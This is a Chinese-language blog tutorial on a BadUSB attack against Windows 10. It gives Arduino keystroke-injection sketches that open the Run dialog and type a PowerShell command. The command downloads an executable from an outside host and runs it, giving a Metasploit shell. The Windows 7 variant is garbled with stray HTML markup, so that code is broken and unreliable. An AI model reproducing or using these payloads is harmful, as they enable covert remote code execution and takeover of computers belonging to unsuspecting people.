badusb攻击windows10(msfconsole版)

准备

  • badusb
  • Arduino

下载软件

点击下载

运行软件

TIM截图20190305105048.png

TIM截图20190305105048.png

工具菜单中 选择,选择badusb的端口开发版
TIM截图20190304122136.png

TIM截图20190304122136.png

注入代码

windows10系统
#include <Keyboard.h>
void setup() {
Keyboard.begin();//开始键盘通讯
delay(1000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(500);
Keyboard.press('r');//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("powershell -Command $clnt = new-object System.Net.WebClient;$url= 'https://bbskali.cn/8888.exe';$file = ' %HOMEPATH%\\windows.exe ';$clnt.DownloadFile($url,$file);%HOMEPATH%\\windows.exe;");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);

}

void loop()//循环
{
}

Shell
复制
windows7系统
#include <Keyboard.h>
void setup() {//初始化
Keyboard.begin();//开始键盘通讯
delay(5000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(500);
Keyboard.press(‘r’);//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release(‘r’);
delay(500);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.println(“CMD.EXE /t:01 /k MODE con: cols=16 lines=2”);
delay(1000);
Keyboard.println(“POWERSHELL -cOMMAND C L N T < / s p a n > = N E W − O B J E C T s Y S T E M . n E T . w E B c L I E N T ; < s p a n c l a s s = " t o k e n v a r i a b l e " > CLNT</span> = NEW-OBJECT sYSTEM.nET.wEBcLIENT;<span class="token variable"> CLNT</span>=NEWOBJECTsYSTEM.nET.wEBcLIENT;<spanclass="tokenvariable">URL= ‘https://bbskali.cn/8888.exe’; F I L E < / s p a n > = ′ c : X . E X E ′ ; < s p a n c l a s s = " t o k e n v a r i a b l e " > FILE</span> = ' c:\\X.EXE ';<span class="token variable"> FILE</span>=c:X.EXE;<spanclass="tokenvariable">CLNT.dOWNLOADfILE( U R L < / s p a n > , < s p a n c l a s s = " t o k e n v a r i a b l e " > URL</span>,<span class="token variable"> URL</span>,<spanclass="tokenvariable">FILE);”);
delay(3000);
Keyboard.println(“C:\X.EXE&EXIT”);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();//结束键盘通讯
}
void loop()//循环
{
}
Shell
复制
其他代码

传送门

编译上传

TIM截图20190304122308.png

TIM截图20190304122308.png

成功如下:
TIM截图20190304122902.png
TIM截图20190304122902.png

配置监听

在msf中我们配置参数,插入badusb即可得到shell,需要注意的是,本代码仅支持win10对于win7和xp由于不能直接用powershell下载,所以以上代码不能实现。


  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值